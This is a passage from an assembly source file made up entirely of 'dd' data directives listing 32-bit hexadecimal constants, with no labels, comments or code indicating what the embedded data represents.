0A5C00ACh, 4FF2C727h dd 1B002910h, 0DA6CB74Ah, 3E3BA908h, 5F8346C2h, 0EE58E276h dd 515EB5E0h, 30E1F43Ah, 3E1378D4h, 0A8BC0020h, 0DA9057A2h dd 8504DC36h dd 341D0425h, 53DD6FC0h, 0F982008Fh, 0E9A7AAA3h, 4B005DC9h dd 5B30D398h, 78E83Dh, 0F7700651h, 0D91E148h, 0A3184700h dd 3D83438Ch, 0C9FEA2h, 0ECC28EF4h, 0DBF12124h, 3A14538h dd 6838801Ah, 0AAAA875h, 94431FFDh, 6E90004h, 0C525A2D9h dd 0E88660E3h, 2AD0AF60h, 0FC2336h, 6E3BBF7h, 1DF8682Fh dd 0A0F4EA00h, 86C42B13h, 0A11C0721h, 0C1768528h, 0F4176984h dd 7007A41h, 954DBE5h, 0B44AE3h, 9E151AA0h, 0CA2B89B6h dd 458BD401h, 952AA2B8h, 1D6B0F20h, 40E2F343h, 4B2FDC3Dh dd 970192FBh, 7C67F55Dh, 71F07908h, 89AF0F84h, 34228CD4h dd 0E3E35465h, 87EB50EBh, 25FF16F8h, 0C0F84400h, 1C401099h dd 478E003Ch, 91342338h, 2C00C830h, 247228E4h, 0E21C2039h dd 18412D8Eh, 3F30D4h, 0A4C4B4A6h, 3E6D29DDh, 5002814h dd 94E8F35Ah, 0B5F2BF4Fh, 8404D000h, 0B05F76D2h, 0C9440081h dd 5DA1708Ah, 8000FC01h, 2EFF0B7Ch, 0FED175h, 7D3944BDh dd 4C740482h, 9B3FEB00h, 7B8AF19h, 0D0C10080h, 40B2E937h dd 13009839h, 29D8B60Fh, 3BF7750Ah, 5C0AE0BFh, 1E964E35h dd 0CB02C121h, 0E8A5E983h, 410072FBh, 880F7F0Ch, 2402C4Ch dd 75CAFE0Dh, 0AFC0DAA3h, 0B10023F9h, 6E22DDABh, 0B540F6h dd 51E29456h, 2DC5BE53h, 69DE0F2Eh, 0E72CC400h, 0F8D2B8CCh dd 0BE190175h, 0C7D9BA29h, 8205D4ADh, 4A10700h, 182B376Ch dd 1688006Bh, 22F35EDEh, 531C4FD7h, 0EDD2C220h, 7998B900h dd 28FF6B26h, 0BC2CA6h, 0C7031E14h, 0A406D950h, 7E0CBF1Dh dd 0D82B0D47h, 4AC0F8D7h, 422ABE3h, 2C71C582h, 0E4888032h dd 8900141Fh, 2E051043h, 1060Ch, 667F6854h, 3D53004h, 0DF6EC800h dd 0C6097D60h, 6B484805h, 62842Eh, 7C7A90FEh, 0BD0A6ADFh dd 0F61DC6FBh, 0B7452501h, 0D520A67Bh, 64D5037Eh, 5F107CEEh dd 96700AD8h, 0E7AE3507h, 4FE05A14h, 3E2016ACh, 180A9FBh dd 0A897E8ECh, 0D3F87556h, 0B2EB8E00h, 0AA055F71h, 58531750h dd 0C8ACF047h, 0B39F1400h, 374A0460h, 8C661FAAh, 0C73E1CCEh dd 0FEEC71Dh, 2E35A6A0h, 0BC00C9BFh, 81100540h, 41878h dd 7554D7B1h, 0C2A4AC15h, 77A4848h, 81274A58h, 0F3EB2053h dd 0B204D085h, 145C77D7h, 0CD0EC862h, 2CF82401h, 0CD5EC390h dd 1EF2E074h, 0CCE1A300h, 80ED6A29h, 4B021E2Eh, 0D8AA4016h dd 0E2B7428Eh, 38D4923Fh, 66A28010h, 25439F0h, 7A8600E8h dd 0EE8AC8E0h, 0CD00AF42h, 0F00D217Fh, 1EAA106Ah, 0FFFDA55h dd 0C3A00A2Fh, 0CB8362C6h, 8065DF39h, 11B3E882h, 9545F02h dd 3C995C31h, 0D95EC000h, 0E80B9C13h, 80C15274h, 699208CAh dd 0B963398Dh, 4AB68000h, 18201514h, 7AA20C01h, 4352DF90h dd 973477E5h, 9CE47Dh, 0E8C28B30h, 0A73D322Ah, 16032500h dd 59396491h, 0B66E390Ch, 0FE701080h, 131ED48h, 87E86700h dd 46BA44Dh, 88E422h, 0A8903419h, 80282429h, 0E0103D02h dd 0C0135074h, 0FBBB9E3h, 0D75B059Eh, 5CA7F320h, 0F7044C0Bh dd 0C139E034h, 2E4E9980h, 92D0006Fh, 40A5C779h, 0D400CF7Fh dd 64882238h, 4B5073h, 4C20AA52h, 0D60CBED8h, 21AE2701h dd 3F2C8F16h, 1CF5CD4h, 5ABB4A3Ch, 307B71ABh, 8000019Ch dd 742DFC78h, 0B8D71Eh, 135DB2A4h, 0DE2F0451h, 4F5A8000h dd 0E16A88C6h, 34E252h, 6789D877h, 0E5D7B8A7h, 6500C275h dd 2EE19608h, 1E58595Bh, 0BA64354Bh, 825AB501h, 0F4D0D727h dd 0F000ADE9h, 0EB3F19A8h, 8AE705h, 0BC84A663h, 5C766AE1h dd 0E810C004h, 0FAC04607h, 12D11Bh, 47653D1Dh, 0E688554h dd 8ECE3EFAh, 0CFABAA50h, 0BA4F241Fh, 0F8E8BCC0h, 19DA6600h dd 4F0B2A51h, 0C95C00CFh, 44B942C2h, 0BA1E4813h, 825FD378h dd 3C7A9882h, 1CA66032h, 36DC00B8h, 130EBF15h, 71011A74h dd 64FDBBBAh, 0DF61EB7Fh, 0FE2FF4h, 0B2799554h, 0A7D3A45Ah dd 0A35B9800h, 6E200775h, 47741C6Fh, 7B80BC66h, 144450D1h dd 45004840h, 30204F4Ch, 3E7355h, 3A69572Eh, 0ACDE6874h dd 0B498C4A0h, 3B498700h, 92F0D5AFh, 29F700FBh, 0EFE388C5h dd 0FC00A23Ch, 351B9886h, 2F9CB8h, 0EB4E90E2h, 8B3301C0h dd 4967C807h, 0ABF4BA3Ch, 2B736980h, 0A8420020h, 0FEA32D9Fh dd 62002C03h, 0A75D253h, 0A54494h, 0E38F8BDDh, 49F3C755h dd 3CF8F970h, 800CFC3Dh, 7CA3853Eh, 4AF1ABD5h, 58B812h dd 0E233545Bh, 8D49D2h, 22F7EE4Dh, 0D5E42878h, 694EF900h dd 0F17F7B32h, 19C23E5Fh, 0F22BD101h, 0C008BCF5h, 4900414Dh dd 5246204Ch, 1C3AF04Fh, 40885BEDh, 0B047DE9Ah, 1509A1E2h dd 14008E4h, 205450DEh, 5E4FE0h, 1CCCA3Ah, 0DD0814E8h dd 0D85D8900h, 0EE4E3250h, 698F05AFh, 0C09FFF4Bh, 8D62F40Dh dd 0D7D1E500h, 94D9A4C7h, 75FA0F92h, 0C01C655Eh, 0BAFC0A4Dh dd 0AB00E5B4h, 3B63F059h, 3EC3064h, 0C429C314h, 77BB4418h dd 0F622CAF0h, 0D443BA00h, 0A137C99Dh, 0B8CF00A7h, 2173BE1h dd 25B0C1ECh, 0E6004298h, 6B2CAB38h, 470FF4h, 94688D8Bh dd 3B42406Eh, 0A701DC03h, 0D857CBF3h, 0B441C14h, 0D8A65441h dd 4612F880h, 6D07C861h, 205C8725h, 0F4FBFFE0h, 88090028h dd 7F977553h, 2A008DADh, 8A2C144Ch, 922BDFh, 2D5E2858h dd 32B3C9E5h, 0F3781600h, 616CC82Fh, 6E3E0069h, 68631D3Bh dd 1F0072D6h, 493DC024h, 2D4F53h, 7535E238h, 4C315639h dd 0E21293Dh, 40437ACBh, 45E5ED66h, 6F633BF4h, 67706480h dd 62382C8Ah, 0F627561Eh, 53F45881h, 97E47D91h, 70830F7Eh dd 8525E6C8h, 5FE983C9h, 0B725D5B8h, 1092D400h, 0EC4F6A7Fh dd 0D32300B4h, 0E6CF62D6h, 0A531266Fh, 686ECCFFh, 35343D0h dd 4CE7A3B8h, 9FE96958h, 5251F8F4h, 38F7EF00h, 39829794h dd 3A413CE7h, 881400F3h, 0A484C06Ch, 103F2A8Bh, 8A88F40h dd 3839A042h, 701AAF0h, 4A4784Ch, 0F61560AFh, 501C820h dd 30C16590h, 0AF81910h, 0F36FE29h, 0CA08C060h, 2D81CC69h dd 0F42B2C05h, 957D5A64h, 4D282703h, 0B81DD9E2h, 0E46EC161h dd 0A560073h, 70DDB898h, 663F5269h, 804036Ch, 0A04650A1h dd 0EC37Ch, 0B6D7EBE8h, 8D8157B4h, 320780E2h, 1C54B09Ch dd 1E0E405Eh, 0F194E9F5h, 154FD0FBh, 73E3B06Bh, 483C019Ah dd 743E7F6h, 670C86Fh, 44ED7900h, 5D977854h, 3484000Ah dd 5817DAF9h, 0D40AF791h, 0E57538A0h, 0A26D2A00h, 717464h dd 8D704C52h, 453CAE72h, 39403Ch, 0D05F5089h, 5BBD94h dd 75488555h, 7D8AF9F6h, 742FE73Fh, 0FEFFF800h, 173EF82h dd 2E90B63h, 0F38065D9h, 888B1BA0h, 956F7400h, 28692C91h dd 0DF034C5Ah, 0D91FE905h, 92038099h, 2000686Ah, 0FD858D55h dd 0B8BE81DFh, 0D8F60B3Ah, 8500A101h, 492F8A7Eh, 57281707h dd 1DC095ECh, 750A5B9h, 16294A7Bh, 5FB43025h, 0AB0090EAh dd 0C449C60Eh, 1AD93680h, 404C6728h, 8DE959E0h, 8E73297Bh dd 592D3Bh, 0FB3AE571h, 4E182Ah, 0C9825CA6h, 0F51A8D89h dd 0F0FC8700h, 5768BDA2h, 9F7A3C96h, 0F8423180h, 49BF14EAh dd 1DEB1903h, 0C388C892h, 0FB83AB90h, 57ED00Ch, 61300FB8h dd 0E7E0558Dh, 0AF918696h, 0C32D321Dh, 82C8C0CAh, 60C4A00h dd 26D858Ah, 25ECB5BBh, 18E01844h, 6E00EB2Ch, 0A7D04936h dd 1D28E6h, 1AC83C42h, 0CB24C90h, 2958241Eh, 399E82C0h dd 76481730h dd 2E2D0064h, 0EB50B11Ch, 8E00BBD6h, 0BD800A65h, 0B88269h dd 203FFA6Ch, 0BADAF8Bh, 4B214E01h, 0E15E0CB3h, 0E73ECh dd 804F3332h, 6B447629h, 0F8CA5D1Ch, 0E88010DEh, 0C55765E3h dd 0B0200B5h, 5EEB8C68h, 4500DA0Fh, 0EAFF8995h, 78E9AF74h dd 55A7011Dh, 598AC47h, 5C06607Dh, 4B00DAF2h, 2C3E20CEh dd 1D921CD2h, 0C0D5C9E9h, 93C8F9D3h, 0E8FAD8FDh, 0A4F9B750h dd 689D3B00h, 0A879AF2Fh, 1CC9043h, 0CB8588Ah, 0E4E54020h dd 0C17CA7C8h, 0AF7A4807h, 0E9C0D90Fh, 1F64F5A4h, 6629EEh dd 8F100E8Ah, 500A5ECh, 3101B9EDh, 3EA263D5h, 0D803C6Dh dd 0B4E14CDAh, 61003FECh, 0AFBC683Eh, 40DB14h, 9E97E805h dd 0F77BF6FDh, 0ECCC1112h, 14F45A00h, 0F816A037h, 0D8450084h dd 9F89AB25h, 0D97906BAh, 0B8EE6902h, 43F28D4Bh, 0B794E063h dd 10520220h, 0F3D76D7Bh, 770E8960h, 9DD96900h, 0ECE4AF02h dd 24F57945h, 4A9216h, 6ABE5A7Ch, 2C704ED1h, 4F880E00h dd 5122036Eh, 72710066h, 5660A06Dh, 64002567h, 21F8966Ch dd 79C9534Fh, 8A936734h, 458EDE1Eh, 25AFB4A0h, 0F700ABD4h dd 0EDCF16D5h, 784AEA7h, 31EFBB83h, 0B09E6039h, 0BA00280Dh dd 69B1EDE4h, 50FC60h, 1DA2838Bh, 0C64507FDh, 9012DD00h dd 0BCC8B01Ah, 21C01E11h, 22C44FACh, 0CC21F032h, 0A4D04400h dd 0D8D44086h, 0CA00189h, 12E081DCh, 0C03E719Ch, 680084E8h dd 90B48521h, 3F032ECh, 0D51AC435h, 8BD86CB0h, 0AA3C064Bh dd 0D96A9E89h, 0B6AB4580h, 0D6C447h, 0F84E2EEDh, 951B3C8h dd 70C47550h, 25290209h, 0CBAD8078h, 0FE32AD61h, 42140063h dd 50628864h, 8E676973h, 3F838A10h, 937C9C5h, 8FBC4h, 50C15C6Bh dd 0A685EF41h, 589F4403h, 0C0E23DA4h, 4CF7F6h, 0F8324AF9h dd 434838CFh, 0CCAA2700h, 335DE10Dh, 20F076Eh, 31A6FFB8h dd 0C819F8E9h, 1B5CDD7Ch, 4C0B00A9h, 0DBF3489Bh, 621F3F69h dd 4E62B8Eh, 0B6700F80h, 102BA25h, 68B0A27Bh, 0AF4FE0F4h dd 0D427012Fh, 75330518h, 0A013D0CDh, 0B3DDEF1Fh, 49741BC0h dd 1AEC57Ch, 753AAC68h, 0CCA16D48h, 81003CEFh, 266AFBD7h dd 0A09C4Ch, 420D312Dh, 2409940Ah, 13C4400h, 6B40716Dh dd 3FC50060h, 5CE6B033h, 2D3B18A5h, 5BF78009h, 468BEA08h dd 9102022Eh, 2CB90B78h, 534B8F40h, 76008778h, 0D1D77F2h dd 8F010h, 8C022249h, 53140446h, 38838001h, 2F26D49Eh dd 206A30h, 3C705B9Fh, 0F233B85Fh, 0CFC40B00h, 79084725h dd 0F8D1EAD3h, 0FE8CFE84h, 4B98038Ah, 0A01636A3h, 608657C7h dd 424611ACh, 8771EC0Eh, 20A18E10h, 0E6F5DE14h, 0B394001Ah dd 82E8950Fh, 0B90001E0h, 0B7AE53DDh, 9078764Ch, 416900DAh dd 0B416E421h, 0E31E6891h, 198345DCh, 98E02C10h, 78C6CA1h dd 84DE3388h, 0BAE3C0A2h, 77006355h, 790A9CABh, 1700BF0h dd 1B22F34Bh, 0E7EA1415h, 57C0CBC3h, 8500E118h, 0C1A5AEDCh dd 3014C210h, 0FB22958Bh, 3D0053D8h, 0A0654827h, 60683C49h dd 18E7AE05h, 500037F7h, 5514A2A1h, 7674129Ah, 9E210076h dd 1CA4D822h, 95032991h, 0B81A118Bh, 1873884Ch, 0D485020Ah dd 0C9A2437h, 892727E0h, 0CEA4FC00h, 0A8CDC61Dh, 21C3000Dh dd 0AC903C29h, 0E400B0C8h, 19B43240h, 441CB8h, 7EBC4386h dd 7C87A684h, 0C4548906h, 1AC812h, 91CC214Ch, 28BF48D0h dd 0B6D9500h, 5B9038Bh, 2B363D96h, 2CDFD400h, 3CD7AD8Eh dd 8D711718h, 5A39ECh, 3E98B2BAh, 99285295h, 513EACB8h dd 8370147h, 218E428Fh, 0C6E5E8h, 7DB15EBDh, 4A8513F2h dd 0D70669FCh, 0BA120523h, 8BE7002Eh, 533509D0h, 570040DCh dd 39717064h, 4A6C6Ah, 249FEBC5h, 4803E29Dh, 650063F4h dd 779A4166h, 0F5D50CAh, 640EE09Ch, 473D2080h, 757C255Bh dd 7F888E00h, 0A614FAFDh, 784A0B10h, 0A804C8Fh, 6D0B735Fh dd 93054FF2h, 22EC8488h, 0F454B7C0h, 79F07906h, 0FCB76B0h dd 4E7930F8h, 0FC2D8580h, 1E00C47Eh, 0C24FDAECh, 0A0F786h dd 27E853BFh, 7C26B549h, 800D0F3Bh, 0CE57036Ah, 7FF64CDh dd 93536F30h, 7D4B7169h, 3E5A30EAh, 77DB0A16h, 4F8C703h dd 0A801B874h, 0D09B0044h, 788D102Ah, 4D00E0DFh, 0FA591703h dd 0AA0D8Eh, 0BA439185h, 7EADB474h, 5510D500h, 0EEB1612Eh dd 8838002Ah, 9BBDEC85h, 9709DFABh, 5C201656h, 30F90079h dd 948DE406h, 3E179500h, 5A57CDB9h, 0CFC50312h, 0F455116Ah dd 3D2A4590h, 0E22E8107h, 0D321B2DBh, 79CCC954h, 7CF300A5h dd 0D02DC8A4h, 7500241Eh, 0F225AC6Ch, 2C3A7649h, 0A6F697h dd 70714130h, 69006C13h, 86A9AC63h, 630E6420h, 94FD28F2h dd 0B202D3D8h, 0B700A0EAh, 0FC8E41F5h, 3C3E96DBh, 0E980D088h dd 0D20F3510h, 7C1F909Fh, 69C7B78Ch, 1CF093C2h, 0B8F403h dd 226ECE8h, 352504A1h, 52BCE00h, 0D5D3A79Ch, 0F7BE0011h dd 0E5971042h, 8203A54Ah, 480EF6C1h, 99D5C019h, 94E701BEh dd 6186662Ah, 0B8ECF450h, 7D0E1803h, 0B83D22DDh, 2B29Dh dd 139B5A25h, 5772ACF8h, 0D6E46E00h, 99082788h, 0B24F0324h dd 3F8A491Fh, 1C714AE0h, 0EF225Ch, 0EF42BD9Ah, 3B09D2h dd 2ABCAC45h, 8F5BEE1h, 0BA38E407h, 0F8774307h, 0CB30B0D3h dd 352C883Ah, 362A009Dh, 34283D06h, 74399110h, 677200C0h dd 62431D70h, 64C30077h, 0A1286D66h, 5C036568h, 8A976318h dd 12F1A80Bh, 5D405C10h, 6A6E0900h, 8F0E6560h, 2668A000h dd 1A786255h, 7D7B0067h, 0E4F3DD28h, 0F600BE42h, 7A389514h dd 0F99A156h, 9BE80435h, 2760A2E0h, 0C5007625h, 0DA49CC1Ah dd 7FE04890h, 0E6CB0028h, 0EB144F22h, 0DE006A23h, 9025F42Ah dd 280421BFh, 0A8EAF7h, 0C58B0745h, 94CF77F6h, 41DC490Bh dd 75B18089h, 63F816h, 64535110h, 77712407h, 700073E6h dd 62752676h, 777C691Ch, 0F9900029h, 5C244A15h, 6B7F074Ch dd 57006F7Fh, 197BC728h, 0A02A1405h, 955689h, 24848913h dd 836AA372h, 0EBF4220Fh, 0BCEFF7h, 4BD79001h, 19200049h dd 6BC48B7Eh, 0CC0256BAh, 2566B322h, 64D7867Ah, 49E700E2h dd 5614E350h, 0C800B801h, 130FABCAh, 29ACD8h, 0C32DCE3Bh dd 276AE45Ch, 21574509h, 9A07D751h, 0A050B72Ah, 0A907ED97h dd 0B2112B00h, 0AD2F5FE9h, 0CB1B48F7h, 0BB35BC00h, 9FAA141Dh dd 0D9EE9200h, 46163AF4h, 0A319030Ah, 0CFD8254Fh, 458655F8h dd 48125B7Ch, 0ED00A60Eh, 401F496Eh, 754A0047h, 13836653h dd 200107Dh, 0C16AF90Ch, 7FC317h, 4B8142EBh, 2C0AD520h dd 892F1301h, 0D40708F6h, 0FC64C4ECh, 0F748001Fh, 0DCC31645h dd 21072EE6h, 0E319920Fh, 31590840h, 31B97A2Bh, 0BFEA3648h dd 0D0856009h, 0EEFF2800h, 0ADC705Fh, 15890004h, 64A87B0h dd 2D501245h, 68056ED0h, 0EF82CD8h, 403FB687h, 0D102AAD6h dd 0BB400293h, 0C855F5E2h, 0BA8560C0h, 75F7CC00h, 48AC955Ah dd 4AB90013h, 11F4ADD7h, 803908C4h, 4EEC4EC9h, 9884FB14h dd 10146A00h, 398F32FFh, 395BAB2Ch, 77404E1Dh, 0D920E52Ch dd 307A45h, 2D83DC05h, 0A10B40C4h, 2B6BE802h, 0E1A32341h dd 77F01879h, 0D4E00FC7h, 6CA0F82Ah, 5708E999h, 0E152F903h dd 782A8CEh, 50B814A4h, 5F9E40D5h, 64B8CA4Ch, 68F95E0Fh dd 332DA083h, 7AB4F001h, 58A7035Ah, 0B82005B5h, 0E02AAAD9h dd 0FC7050C4h dd 0A5093Bh, 34058EB4h, 24F397ADh, 4F16A4h, 0E80183B8h dd 39005E33h, 980A7448h, 161506h, 20135DD1h, 0EFC138EBh dd 2FFA2400h, 34CA2EA3h, 4479030Eh, 6454231Bh, 0E26E3988h dd 52DC7C00h, 0E4DAEA32h, 33560071h, 0FB35C810h, 4002C94h dd 34301C84h, 162238h, 0EFFA8068h, 28E21065h, 3732C400h dd 0EA9DE860h, 432E00C0h, 74276E61h, 6C00201Dh, 0A64DA6Fh dd 3FC41A77h, 28731E58h, 18B22C3h, 5A9EFC08h, 0EB540584h dd 0EC1811E9h, 8D01801Ch, 0F0524F0Ch, 88C05C15h, 83420168h dd 0F1750AFAh, 7EC06EBDh, 6C9ED5h, 0FF558817h, 82297F3h dd 0EC832500h, 10111C93h, 5C01750Ch, 213B7F6h, 0C34C002Dh dd 0A80D03D6h, 18D38400h, 22155F2Fh, 6A6B0320h, 8AA2D55Ch dd 0CFA132A3h, 37F2F4AFh, 4700EAB8h, 8524F710h, 1482C7h dd 0CB560B23h, 0C47FBE4Eh, 0C07B0300h, 48C39428h, 1B2500C8h dd 0B00C5793h, 473B3140h, 224E0053h, 8126A01Ch, 0C3511FBCh dd 766DC00Bh, 482F680Ah, 1BDEFC01h, 2041A452h, 8D3BE8h dd 0B8E72490h, 89F89F5Eh, 8A0FFC30h, 0AD6D22h, 77C90576h dd 833AFBC4h, 9DF00805h, 0B240E8D4h, 1130222Ch, 7C097234h dd 9F370744h, 2079D5EAh, 0C5B55DF8h, 0C3647200h, 8870B7AAh dd 5A7C36h, 0F89838FBh, 0D9ED63E9h, 670E8900h, 87F8310h dd 0EF9200DCh, 0EB755AA9h, 5DFAC244h, 0B2A8DB00h, 0B41B2C34h dd 431C0736h, 4F8E7630h, 0E0380979h, 0B4009086h, 3EE8B0Eh dd 8482EDh, 535718EFh, 2019320Bh, 0FCA41400h, 0CDDE752Ah dd 5E40ED4h, 2C201021h, 34443088h, 0EB382000h, 0DA7E9732h dd 84F000C4h, 0B4A2EF46h, 0AA00073Dh, 0B7B63FC2h, 482A4Dh dd 31918757h, 0C39ADFA5h, 770DA900h, 49C2C6E9h, 0FC2E000Ch dd 1CC7B2C9h, 0D89D0EF7h, 5CE8078Fh, 0F037B1B5h, 7A9D5443h dd 0A1978200h, 0E4BB8335h, 72321D2Fh, 7BA6009Fh, 95431518h dd 3A24223Ah, 1F2C3C8Bh, 7E404981h, 4C09A9ABh, 40FC8Dh dd 1FF752F5h, 0B46B76FFh, 7B81100h, 7A31BC4Bh, 836C0014h dd 0FF09B068h, 0E0003D5h, 0E0987ED6h, 0EA508D63h, 12723892h dd 2B2C6B00h, 7DB68E8h, 0D55B3B00h, 6C0251ACh, 0D4055810h dd 0F825E003h, 33D82A78h, 5E019722h, 7707C4E7h, 0E430EDD0h dd 13AD002Ch, 0B3034F05h, 0D678A226h, 59957700h, 50408ABBh dd 9DAC00C7h, 0C42C9B5Dh, 4400E6EBh, 0AA4F453Dh, 1CB0DE92h dd 801F645Fh, 8E00CB4h, 0DC1F16B8h, 26002C2Ah, 69A6FAFCh dd 68A0032h, 0EEF17D50h, 5A00EB99h, 20D803BCh, 40C00Ch dd 5DFEC4D4h, 1DF8C85Bh, 639D7C00h, 62046942h, 16FA009Bh dd 3640C611h, 0B1002266h, 63144D67h, 38BC5F68h, 1A808D3Ch dd 0A3F3AC3Eh, 60E62FBh, 8029BB36h, 0F4531B6Ah, 43141D10h dd 0ED5CE3Ah, 13FCBE0h, 0F0037D89h, 0CDAA0FB0h, 42AB9085h dd 4EC0128h, 17BF39EBh, 0E488E052h, 63844407h, 0B2E0AAE0h dd 0F379A27h, 537F5FBAh, 0F081A947h, 8BF3C3B0h, 89E4F007h dd 9050F6F8h, 0E6720A78h, 41020048h, 646D69A9h, 0BD0033EEh dd 0ADDCB368h, 22EA54h, 0FC44D815h, 7198A5D4h, 0A18F000h dd 5EBD7943h, 0D0C80122h, 0D6CCA7F6h, 0DF5F7052h, 6F3D2900h dd 9B177293h, 0FB5F0024h, 3B052BA3h, 730E0C58h, 250181EFh dd 7A871942h, 9CC0B544h, 2F3031C7h, 0C37ED92Bh, 3858BF00h dd 0E636A6h, 0FDBEBA70h, 69ABD42Fh, 78D80D00h, 4F71CCE8h dd 0BC8D2CEAh, 8BF00032h, 0BF99E455h, 81DE5E3Bh, 0C6AB6BFBh dd 21E82AE0h, 9D430712h, 90C2C788h, 18E7E4AAh, 1C750500h dd 45724019h, 0BEBC0117h, 0C9744792h, 8E89305Eh, 1405CC2Ch dd 1345F500h, 0EC6A6093h, 0F762018Ch, 25F25886h, 0B9830B9h dd 4F071EEAh, 0AEE83EFFh, 9E369CA0h, 0EC200E4Dh, 5EE02384h dd 75AD19A9h, 1741090Fh, 70038557h, 29DACC0h, 76DC00E8h dd 8199101Ah, 0C01DFDF3h, 8B005B07h, 0D619917Fh, 94090022h dd 0E76AA888h, 2901A263h, 0F5A75DF3h, 4AC41D8Dh, 68530081h dd 0AD6F8A4h, 94287506h, 0CD00E954h, 0F210B329h, 22CD5A7h dd 34970D31h, 740F649h, 9B3CCEBCh, 20A28094h, 0E17D41Eh dd 388700C5h, 3B56422Eh, 0D60028C8h, 1BD29990h, 9876572Dh dd 4B100059h, 0A5583553h, 0E3000B44h, 523B2C3Dh, 179382Ah dd 0F469BD16h, 0E45E1739h, 8000BA0Bh, 5261C91Fh, 0EA6FF72h dd 3D7B2416h, 65AB7160h, 6660233Eh, 0C12BC6E8h, 0C3FCE4h dd 1653F2D4h, 2F7D044Ch, 8010973Eh, 30A47CBAh, 1BD395Fh dd 0F886B774h, 0EC66F7B2h, 24003E96h, 135EEC21h, 16878Ah dd 0FA23D52Fh, 36E8A952h, 58787D90h, 0F2549B00h, 84A30277h dd 0B96D001Fh, 0AE37FB79h, 3B012711h, 2887A2ECh, 4DF0465Eh dd 5DAD00B9h, 0B114CE5Ch, 9D0065A1h, 429AC8Eh, 6A13DAh dd 0A662E756h, 0A4D7471Fh, 5FDF2Dh, 0A062C7Bh, 15E8EDCBh dd 0C6386084h, 0C6647DE0h, 912871Fh, 0B6EBCD07h, 0FFCFFBF0h dd 243C00F9h, 2E7FDA91h, 4D5CD293h, 3F070089h, 0B88B08D5h dd 77A41DDFh, 48A680ABh, 0D011AFA3h, 26B9071Fh, 8458BB40h dd 3768EB5h, 0FF6B8FE5h, 17A0C321h, 743AE247h, 78A40009h dd 405BC083h, 597AF3h, 558AC203h, 74B81820h, 28754Ch, 641C9C08h dd 15D8B97h, 0F851A87Ch, 0FC2494E7h, 0E0175B46h, 0C0000179h dd 0BA5C1347h, 32DD3A0Ah, 88730D83h, 8A80ED33h, 8DFE2F44h dd 340571Ch, 282D51Fh, 0E0FD8345h, 0EEF05D1h, 0BD08778Bh dd 68D5200Bh, 0D0978Eh, 0FD9E5E4Ch, 0F977C4D9h, 96EC1600h dd 0BE41FC55h, 0A0B01ACh, 0D883061Ah, 0C087617Dh, 5200148Dh dd 2D974489h, 0CB3D6Ch, 696A2188h, 0F1FA1612h, 1F4AC800h dd 3A7FF95Bh, 97150089h, 748F2E70h, 3006860h, 0ED754DF0h dd 4A9142h, 0FD2F1AF9h, 627D7E9Bh, 420358h, 46204788h dd 89B617h, 8551D687h, 18E00BA1h, 5425BA01h, 0F3137565h dd 0A5E947EDh, 1117060h, 0A2920D42h, 0E8AB54B9h, 15FCF141h dd 1CC020FCh, 887A1D94h, 84F40F4Fh, 2FCF2BF5h, 0BD857642h dd 0F642AA80h, 8A3E957Ah, 0BB3C3Eh, 0D321A2DEh, 0F67D3DF7h dd 0EF540077h, 9DAF8AFAh, 2976C24Ah, 671C1100h, 0A5BA582Ch dd 68500762h, 37D7E344h, 132250BBh, 890020FDh, 31C8F09Fh dd 7730E453h, 9117B28h, 5623F4B7h, 0B2622A8Fh, 0D0E01EF8h dd 4C76FCC8h, 1628C700h, 875F8902h, 5B791DA9h, 0D28A40F4h dd 3F71A108h, 0F120AC00h, 510C3730h, 89660013h, 82F0EBC1h dd 49980901h, 7F59E012h, 0B39DE003h, 3E90F8CFh, 239A0318h dd 2879AF8Bh, 104593C0h, 0D127E00Eh, 4203800Eh, 33F7024h dd 254FF066h, 138896D5h, 1C004522h, 270520A8h, 0FF1455h dd 0D55A56A4h, 0D0A3ABB6h, 0D7E48B00h, 0DA6B78E6h, 625D5C39h dd 0EDCD600h, 0D0033C50h, 83C2EC3Bh, 9055FE78h, 7C408825h dd 0F2EE0044h, 10C36003h, 4100D5E8h, 7B78F6EAh, 77FB0220h dd 0F8E90033h, 7D9A5FCh, 6EC01609h, 71E8F1E0h, 23E0E23h dd 0F826112Fh, 0B900EE21h, 60751735h, 5CCEEB8h, 9E80E56h dd 4D9880D7h, 0EB00A67Ah, 0F0752283h, 0C3312Bh, 3BD3A0D0h dd 327736F2h, 0E7B82000h, 875C48Fh, 0E30E00EFh, 122373D1h dd 53005079h, 3C4F22AEh, 2A90D4h, 2941A991h, 0D15110A5h dd 4A384700h, 5C2B590Dh, 9511000Ah, 2ABEE845h, 0C000715h dd 4C78346h dd 7053AF1h, 820F1A6Dh, 707A4051h, 0BC3C6FD7h, 5200791Ch dd 0EF143065h, 0E4D0D40h, 0E3DB3110h, 0D0F71E02h, 85D275h dd 0D8FA18F2h, 5408B324h, 1E1718E1h, 40CBFEDBh, 0EAE6E297h dd 5F001EA4h, 72F8D4B5h, 0C4597Fh, 0C026FAB2h, 0E108B8BBh dd 48743B00h, 0C6DE3780h, 85CA5803h, 7AA74C72h, 2BCD0379h dd 10EB1ABBh, 6A0683F5h, 0D73529B0h, 5CA5E200h, 14F47970h dd 2462F6EEh, 0B59428h, 97D103B9h, 4000806Fh, 0FA4AEBC7h dd 1AC05Dh, 77C33BD9h, 0F23F9220h, 0ECF3CF00h, 0F7901773h dd 2BD3011Dh, 105D65D0h, 8BBD20B4h, 3A61EB4Ch, 201E00C2h dd 521572C3h, 537A3E48h, 2157F807h, 0EF64F0E2h, 0A000EEEh dd 0B075C985h, 390561Eh, 0D8DBB5F3h, 0A788DECBh, 8E12225Dh dd 0B1F4210h, 9184F740h, 80EA82h, 0FF88325h, 48202CB8h dd 0F0950200h, 0E6433C9h, 50A75C3Eh, 0D600394Ch, 407E0CE9h dd 114CFF02h, 80F0756h, 91F6482Eh, 3737566h, 0E888BA8Ch dd 0F3E8DFA3h, 44C136AFh, 27D49A6Fh, 460BFCh, 56AB2C8Dh dd 0B6E9434Ah, 23028301h, 80C3692Dh, 1932C280h, 0BC2042C7h dd 0E19D2C01h, 294A8D4Fh, 208057DAh, 94A958F4h, 0B006DC3Ah dd 2E5C34E9h, 8776032Fh, 714A0CAh, 21C7ACB8h, 0F048BA76h dd 0A3A51E5Ch, 172061C0h, 0FF64845Ah, 5E85F8h, 0BBB3274Ah dd 2E4BEC59h, 0C4102307h, 9A102B74h, 344975h, 143A7E39h dd 27C3950Fh, 9421AF00h, 22F19DCAh, 93371F5Bh, 0BC6380BFh dd 4F52740Fh, 1EA23907h, 8880103Dh, 16971Ah, 0C27043B4h dd 0E9BBE837h, 125A7100h, 0E8FEF50h, 0D868001Ch, 0B3EA42D3h dd 0A44CB421h, 0B12002Ch, 702EDD1h, 